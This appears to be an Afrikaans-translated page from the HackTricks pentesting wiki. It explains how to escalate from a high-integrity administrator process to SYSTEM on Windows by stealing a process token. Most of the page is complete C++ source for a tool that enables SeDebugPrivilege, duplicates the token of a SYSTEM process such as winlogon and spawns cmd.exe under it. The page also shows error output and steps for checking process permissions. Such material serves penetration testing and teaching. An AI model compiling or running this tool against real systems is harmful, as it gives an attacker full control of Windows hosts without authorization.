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https://github.com/carlospolop/hacktricks
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188 lines
7.3 KiB
Markdown
188 lines
7.3 KiB
Markdown
# SeImpersonate van Hoë na Stelsel
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<details>
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<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
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</details>
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### Kode
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Die volgende kode van [hier](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Dit maak dit moontlik om **'n Proses-ID as argument aan te dui** en 'n CMD **wat as die gebruiker hardloop** van die aangeduide proses sal hardloop.\
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Deur in 'n Hoë Integriteitsproses te hardloop, kan jy die PID van 'n proses wat as Stelsel hardloop (soos winlogon, wininit) aandui en 'n cmd.exe as stelsel uitvoer.
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```cpp
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impersonateuser.exe 1234
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```
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{% code title="impersonateuser.cpp" %}
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```cpp
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// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962
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#include <windows.h>
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#include <iostream>
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#include <Lmcons.h>
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BOOL SetPrivilege(
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HANDLE hToken, // access token handle
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LPCTSTR lpszPrivilege, // name of privilege to enable/disable
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BOOL bEnablePrivilege // to enable or disable privilege
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)
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{
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TOKEN_PRIVILEGES tp;
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LUID luid;
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if (!LookupPrivilegeValue(
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NULL, // lookup privilege on local system
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lpszPrivilege, // privilege to lookup
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&luid)) // receives LUID of privilege
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{
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printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
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return FALSE;
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}
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tp.PrivilegeCount = 1;
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tp.Privileges[0].Luid = luid;
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if (bEnablePrivilege)
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tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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else
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tp.Privileges[0].Attributes = 0;
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// Enable the privilege or disable all privileges.
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if (!AdjustTokenPrivileges(
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hToken,
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FALSE,
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&tp,
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sizeof(TOKEN_PRIVILEGES),
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(PTOKEN_PRIVILEGES)NULL,
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(PDWORD)NULL))
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{
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printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
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return FALSE;
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}
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if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
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{
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printf("[-] The token does not have the specified privilege. \n");
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return FALSE;
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}
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return TRUE;
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}
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std::string get_username()
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{
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TCHAR username[UNLEN + 1];
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DWORD username_len = UNLEN + 1;
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GetUserName(username, &username_len);
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std::wstring username_w(username);
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std::string username_s(username_w.begin(), username_w.end());
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return username_s;
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}
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int main(int argc, char** argv) {
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// Print whoami to compare to thread later
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printf("[+] Current user is: %s\n", (get_username()).c_str());
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// Grab PID from command line argument
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char* pid_c = argv[1];
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DWORD PID_TO_IMPERSONATE = atoi(pid_c);
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// Initialize variables and structures
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HANDLE tokenHandle = NULL;
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HANDLE duplicateTokenHandle = NULL;
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STARTUPINFO startupInfo;
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PROCESS_INFORMATION processInformation;
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ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
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ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
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startupInfo.cb = sizeof(STARTUPINFO);
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// Add SE debug privilege
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HANDLE currentTokenHandle = NULL;
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BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
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if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
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{
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printf("[+] SeDebugPrivilege enabled!\n");
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}
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// Call OpenProcess(), print return code and error code
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HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
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if (GetLastError() == NULL)
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printf("[+] OpenProcess() success!\n");
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else
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{
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printf("[-] OpenProcess() Return Code: %i\n", processHandle);
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printf("[-] OpenProcess() Error: %i\n", GetLastError());
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}
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// Call OpenProcessToken(), print return code and error code
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BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
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if (GetLastError() == NULL)
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printf("[+] OpenProcessToken() success!\n");
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else
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{
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printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
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printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
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}
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// Impersonate user in a thread
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BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
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if (GetLastError() == NULL)
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{
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printf("[+] ImpersonatedLoggedOnUser() success!\n");
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printf("[+] Current user is: %s\n", (get_username()).c_str());
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printf("[+] Reverting thread to original user context\n");
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RevertToSelf();
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}
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else
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{
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printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
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printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
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}
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// Call DuplicateTokenEx(), print return code and error code
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BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
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if (GetLastError() == NULL)
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printf("[+] DuplicateTokenEx() success!\n");
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else
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{
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printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
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printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
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}
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// Call CreateProcessWithTokenW(), print return code and error code
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BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
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if (GetLastError() == NULL)
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printf("[+] Process spawned!\n");
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else
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{
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printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
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printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
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}
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return 0;
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}
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```
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{% endcode %}
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### Fout
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Op sommige geleenthede kan jy probeer om as Sisteem te impersoneer en dit sal nie werk nie en 'n uitset soos die volgende wys:
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```cpp
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[+] OpenProcess() success!
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[+] OpenProcessToken() success!
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[-] ImpersonatedLoggedOnUser() Return Code: 1
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[-] ImpersonatedLoggedOnUser() Error: 5
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[-] DuplicateTokenEx() Return Code: 0
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[-] DupicateTokenEx() Error: 5
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[-] CreateProcessWithTokenW Return Code: 0
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[-] CreateProcessWithTokenW Error: 1326
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```
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Dit beteken dat selfs as jy op 'n Hoë Integriteitsvlak hardloop **jy nie genoeg regte het**.\
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Laat ons die huidige Administrateur-regte oor `svchost.exe`-prosesse nagaan met **processes explorer** (of jy kan ook process hacker gebruik):
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1. Kies 'n proses van `svchost.exe`
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2. Regsklik --> Eienskappe
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3. Binne die "Sekuriteit" Tab klik onder regs op die knoppie "Regte"
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4. Klik op "Gevorderd"
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5. Kies "Administrateurs" en klik op "Wysig"
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6. Klik op "Wys gevorderde regte"
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.png>)
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Die vorige beeld bevat al die regte wat "Administrateurs" het oor die gekose proses (soos jy kan sien in die geval van `svchost.exe` het hulle slegs "Navraag" regte)
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Sien die regte wat "Administrateurs" het oor `winlogon.exe`:
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.png>)
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Binne daardie proses kan "Administrateurs" "Geheue lees" en "Regte lees" wat waarskynlik Administrateurs toelaat om die token wat deur hierdie proses gebruik word, te impersoneer.
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